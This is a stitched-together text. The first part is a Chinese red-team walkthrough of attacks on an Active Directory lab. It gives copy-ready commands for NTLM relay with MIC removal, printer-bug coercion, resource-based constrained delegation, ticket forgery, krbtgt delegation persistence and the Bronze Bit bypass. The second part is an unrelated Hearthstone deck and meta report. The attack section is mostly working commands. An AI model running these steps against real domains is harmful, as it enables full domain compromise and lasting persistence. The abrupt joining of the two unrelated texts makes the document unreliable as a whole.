python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass
權限提升 | 橫向移動
繞過NTLM MIC校驗+打印機漏洞+NTLM Relay+基于資源的約束性委派組合攻擊
利用條件:
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'
使用ntlmrelayx工具
# 進行監聽
python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$
使用printerbug工具執行強制認證
# 利用打印機漏洞回連
python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77
ntlmrelayx上監聽到認證數據
使用getST.py申請服務票據
# 制作服務票據
python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.20
# 注入票據
export KRB5CCNAME=Administrator.ccache
# 遠程訪問
python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass
權限維持
在獲取到域控權限后,可以對krbtgt用戶設置委派屬性,以實現維持權限的目的,類似與一個變種的黃金票據
利用條件:
設置委派屬性
# 創建機器賬戶
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'
# 設置krbtgt委派權限 | 查詢
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
申請&使用票據
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20
export KRB5CCNAME=Administrator.ccache
python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
對域委派安全功能繞過主要是通過Kerberos Bronze Bit攻擊(CVE-2020-1704),由于服務可以解密自身的票據并且forwardable值不在PAC中,在使用時,forwardable值不受到檢查,進而實現繞過目的
詳細分析參考:
CVE-2020-17049 Kerberos Bronze Bit攻擊深入分析
在getST中加上-force-forwardable參數
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable
打上微軟補丁程序,編號為KB4598347
爐石傳說在本周迎來了“外域的灰燼”第三次平衡補丁更新,部分熱門職業再度遭到削弱。而在補丁上線了幾天后,版本的數據逐漸穩定下來,讓我們一起來看看平衡之后的首周十職業現狀,以及新版本適合上分的強勢卡組。
獵人為王這個沒有什么懸念,因為天敵少了很多,T7獵雖然倒下了,但宇宙獵和龍獵還是很強。惡魔獵手進一步提速后也保住了勝率,而且獵人前期是搶不過快攻瞎的。盜賊剛開始的時候表現一般,估計是很多人在玩宇宙賊或者堅守奧秘祈求賊,隨著潛行祈求賊的流行,勝率也是有明顯改善。戰士同樣有類似的情況,版本更新后的前兩天一度滑落第七名,激怒戰強度還是有的,但炸彈戰更加適合當前環境。
圣騎士的數據其實是虛高,在高分段的出場率很低,表現也不夠理想。但圣契騎確實是加強了不少,目前主流打法都是帶光鑄的,王師傅前幾天玩的那套基本上就是最終形態。德魯伊的表現需要繼續觀察一下,法術德在當前環境是很強的針對卡組,有不錯的上分潛力。法師沒有什么回復能力,玩家一般圖個娛樂性,目前有一套雙炎爆偷雞的打法。動物園這次削弱的影響比想象中還大,Sara覺得依然可以玩,但環境中實在沒看到。
牧師這么低的勝率,部分原因是被各種貪婪構筑拖累的,多帶解牌才是出路。當然,宇宙獵和祈求賊目前過于熱門,牧師的日子肯定不太好過,后續可能會有一些反彈趨勢。薩滿真的很難救,唯一有戰斗力的圖騰薩打起來比較悶,大部分玩家不會喜歡。而任務薩和進化薩都吃依賴牌序,對于超展開完全沒有應付手段,這個版本的進化機制常常變成退化。玩家在天梯上遇到最多的職業,應該還是獵人、惡魔獵手和潛行者。
以下是新版本上分的五套可行卡組:
AAECAR8eqAK1A8cDhwThBIoHlwjbCfyjA+SkA6alA4SnA4qtA4utA46tA/muA/uvA/yvA/6vA4ewA+ewA/+wA4KxA5GxA9iyA6+3A4O5A6K5A/+6A+2+AwAA
雖然說獵人在新版本也削弱了“拾荒者的智慧”,但Sara在上周已經說過,削弱后依然可以在宇宙獵里使用。宇宙獵在目前版本的日子更加好過了,主要的天敵受到削弱,而且對陣祈求牧非常好打。構筑方面的話,Sara本人是傾向于不帶奧秘或者少帶奧秘,多利用隨從站場施壓,宇宙獵本身就是一個按費拍怪,依靠生物質量碾壓對手的卡組。如果你遇到很多牧師的話,可以帶上10費的納格蘭大沖撞。
AAECAea5AwTMugPDvAPaxgPVyAMN/acD+a4Di7oD17sDxLwD4LwD1r4D3r4Dx8YD2cYD98gD+cgD/sgDAA==
惡魔獵手本次削弱的兩張卡可以直接放棄了,中速的節奏瞎已經不太適合版本,需要提速加強前期的進攻。防護改裝師是新擴展包最好的一費中立生物,進一步加強前期的站場和搶血能力。冰霜織影者則是一張環境神卡,無論內戰或者對陣戰獵賊都有發揮空間,對陣沒有武器的職業同樣可以拖延節奏。不過,沒有女祭司后的影響還是很大,打牧師的勝率下滑了一些,遇到戰士依然是很難的對局。
AAECAZICAv0C9q0DDv4B0wP3A+YFxAa5lAPinwPbpQP5tQPlugPougPsugPuugPvugMA
法術德在新版本后又死灰復燃了,這個卡組是一個不錯的沖擊傳說選擇。并非是因為卡組本身有多強,而是因為法術德在對抗獵人、盜賊甚至牧師時都是有優勢的,比較難打的就是惡魔獵手和法師,前者的搶血速度太快,后者有各種冰和運贏。法術德的關鍵還是在于牌序,牌序好的話可以快速用咆哮搶死對手,非洲人的真菌寶藏總是棄掉僅有的隨從卡。新版本的很多構筑都放棄了凱爾薩斯,選擇了伊瑟拉配合溢流提高上限。
AAECAaIHCrICzQPFBJKXA/WnA8GuA6qvA4KxA+O0A8vAAwq0Ae0CiAePlwO5rgP+rgPOrwObtgO5uAPPuQMA
既然奧秘體系削弱了,那么就帶潛行體系吧,暗心賢者可以提高抽key卡的速度,開局間諜女郎的壓場能力同樣很強。祈求賊的小系統都是為了前期過渡,勝負點還是在于國王和JK的抽牌,利用手牌資源壓死對手,尤其在對陣牧師時一定要持續給予壓力。祈求賊最近開始流行帶紅龍了,畢竟大部分對手遇到盜賊都想搶死,盜賊現在沒有什么回復能力,紅龍可以起到一些意想不到的效果,而且有機會是0費抽到。
AAECAQcGS5uUA96tA9+tA+iwA765AwyQA6IE1AT/B5qUA92tA6S2A6u2A7i5A8C5A5y7A/bCAwA=
相比激怒戰,炸彈戰是不帶血誓雇傭兵的,因此,受到削弱的幅度小一些。而炸彈戰的解場能力會更強一些,因為你不帶斬殺組件,可以騰出卡位帶劍盾猛攻或者盾牌猛擊這種好卡,甚至還能帶刃拳來疊甲。當然,炸彈戰并不是防戰,你的資源還是有限的,盡量還是要在中期搶死對手。隨著牧師的出場率被獵人壓下去,炸彈戰有可能會更加流行,本身可以克制宇宙卡組,打盜賊和惡魔獵手都是優勢,但卡組本身很怕小軟。